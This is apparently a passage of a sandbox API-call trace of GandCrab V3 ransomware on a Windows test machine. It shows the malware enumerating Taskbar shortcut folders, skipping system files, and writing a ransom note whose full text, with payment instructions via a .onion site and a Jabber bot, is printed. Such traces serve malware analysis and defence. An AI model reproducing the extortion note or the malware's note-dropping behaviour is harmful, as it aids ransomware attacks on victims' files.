	[0111.567] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.567] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.567] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.568] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\\\CRAB-DECRYPT.txt") returned 116
	[0111.568] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0111.569] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.569] WriteFile (in: hFile=0x3e0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31494ac, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31494ac*=0xcce, lpOverlapped=0x0) returned 1
	[0111.570] CloseHandle (hObject=0x3e0) returned 1
	[0111.570] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.570] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned 99
	[0111.570] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*"
	[0111.570] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0xda7370
	[0111.571] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.571] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0111.571] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.571] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.571] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0111.571] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.571] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.571] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\CRAB-DECRYPT.txt"
	[0111.571] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.571] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\CRAB-DECRYPT.txt") returned 115
	[0111.571] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\CRAB-DECRYPT.txt") returned 115
	[0111.571] lstrlenW (lpString=".txt") returned 4
	[0111.571] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.572] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.572] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.572] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\CRAB-DECRYPT.txt") returned 115
	[0111.572] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\CRAB-DECRYPT.txt") returned 115
	[0111.572] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.572] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.572] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.572] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.572] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.572] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.572] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.572] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.572] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.572] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.572] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0111.572] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0111.573] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0111.573] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini"
	[0111.573] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.573] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 110
	[0111.573] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 110
	[0111.573] lstrlenW (lpString=".ini") returned 4
	[0111.573] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.573] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0111.573] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.573] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 110
	[0111.573] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 110
	[0111.574] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0111.574] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.574] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0111.574] lstrcmpW (lpString1="Excel 2016.lnk", lpString2=".") returned 1
	[0111.574] lstrcmpW (lpString1="Excel 2016.lnk", lpString2="..") returned 1
	[0111.574] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Excel 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk"
	[0111.574] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.574] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk") returned 113
	[0111.574] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk") returned 113
	[0111.574] lstrlenW (lpString=".lnk") returned 4
	[0111.574] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.574] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0111.575] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.575] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.575] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0111.575] lstrcmpW (lpString1="File Explorer.lnk", lpString2=".") returned 1
	[0111.575] lstrcmpW (lpString1="File Explorer.lnk", lpString2="..") returned 1
	[0111.575] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="File Explorer.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk"
	[0111.575] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.575] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk") returned 116
	[0111.575] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk") returned 116
	[0111.575] lstrlenW (lpString=".lnk") returned 4
	[0111.575] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.576] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0111.576] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.576] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.576] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0111.576] lstrcmpW (lpString1="Mozilla Firefox.lnk", lpString2=".") returned 1
	[0111.576] lstrcmpW (lpString1="Mozilla Firefox.lnk", lpString2="..") returned 1
	[0111.576] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Mozilla Firefox.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk"
	[0111.576] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.577] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned 118
	[0111.577] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned 118
	[0111.577] lstrlenW (lpString=".lnk") returned 4
	[0111.577] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.577] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0111.577] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.577] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.577] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0111.577] lstrcmpW (lpString1="OneNote 2016.lnk", lpString2=".") returned 1
	[0111.577] lstrcmpW (lpString1="OneNote 2016.lnk", lpString2="..") returned 1
	[0111.577] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="OneNote 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk"
	[0111.578] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.578] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk") returned 115
	[0111.578] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk") returned 115
	[0111.578] lstrlenW (lpString=".lnk") returned 4
	[0111.578] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.578] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0111.578] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.578] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.579] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0111.579] lstrcmpW (lpString1="Outlook 2016.lnk", lpString2=".") returned 1
	[0111.579] lstrcmpW (lpString1="Outlook 2016.lnk", lpString2="..") returned 1
	[0111.579] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Outlook 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk"
	[0111.579] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.579] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk") returned 115
	[0111.579] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk") returned 115
	[0111.579] lstrlenW (lpString=".lnk") returned 4
	[0111.579] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.579] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0111.579] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.580] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.580] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0111.580] lstrcmpW (lpString1="PowerPoint 2016.lnk", lpString2=".") returned 1
	[0111.580] lstrcmpW (lpString1="PowerPoint 2016.lnk", lpString2="..") returned 1
	[0111.580] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="PowerPoint 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk"
	[0111.580] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.580] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk") returned 118
	[0111.580] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk") returned 118
	[0111.580] lstrlenW (lpString=".lnk") returned 4
	[0111.580] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.580] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0111.581] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.581] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.581] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0111.581] lstrcmpW (lpString1="Project 2016.lnk", lpString2=".") returned 1
	[0111.581] lstrcmpW (lpString1="Project 2016.lnk", lpString2="..") returned 1
	[0111.581] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Project 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk"
	[0111.581] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.581] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk") returned 115
	[0111.581] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk") returned 115
	[0111.581] lstrlenW (lpString=".lnk") returned 4
	[0111.581] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.582] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0111.582] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.582] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.582] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0111.582] lstrcmpW (lpString1="Visio 2016.lnk", lpString2=".") returned 1
	[0111.582] lstrcmpW (lpString1="Visio 2016.lnk", lpString2="..") returned 1
	[0111.582] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Visio 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk"
	[0111.582] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.583] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk") returned 113
	[0111.583] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk") returned 113
	[0111.583] lstrlenW (lpString=".lnk") returned 4
	[0111.583] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.583] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0111.583] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.584] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.584] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0111.584] lstrcmpW (lpString1="Word 2016.lnk", lpString2=".") returned 1
	[0111.584] lstrcmpW (lpString1="Word 2016.lnk", lpString2="..") returned 1
	[0111.584] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Word 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk"
	[0111.584] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.584] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk") returned 112
	[0111.584] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk") returned 112
	[0111.584] lstrlenW (lpString=".lnk") returned 4
	[0111.584] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.585] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0111.585] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.585] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.585] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0
	[0111.585] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0111.585] FindNextFileW (in: hFindFile=0xda7130, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0111.585] FindClose (in: hFindFile=0xda7130 | out: hFindFile=0xda7130) returned 1
	[0111.586] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.586] lstrcmpW (lpString1="Window Switcher.lnk", lpString2=".") returned 1
	[0111.586] lstrcmpW (lpString1="Window Switcher.lnk", lpString2="..") returned 1
	[0111.586] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Window Switcher.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk"
	[0111.586] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.586] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned 98
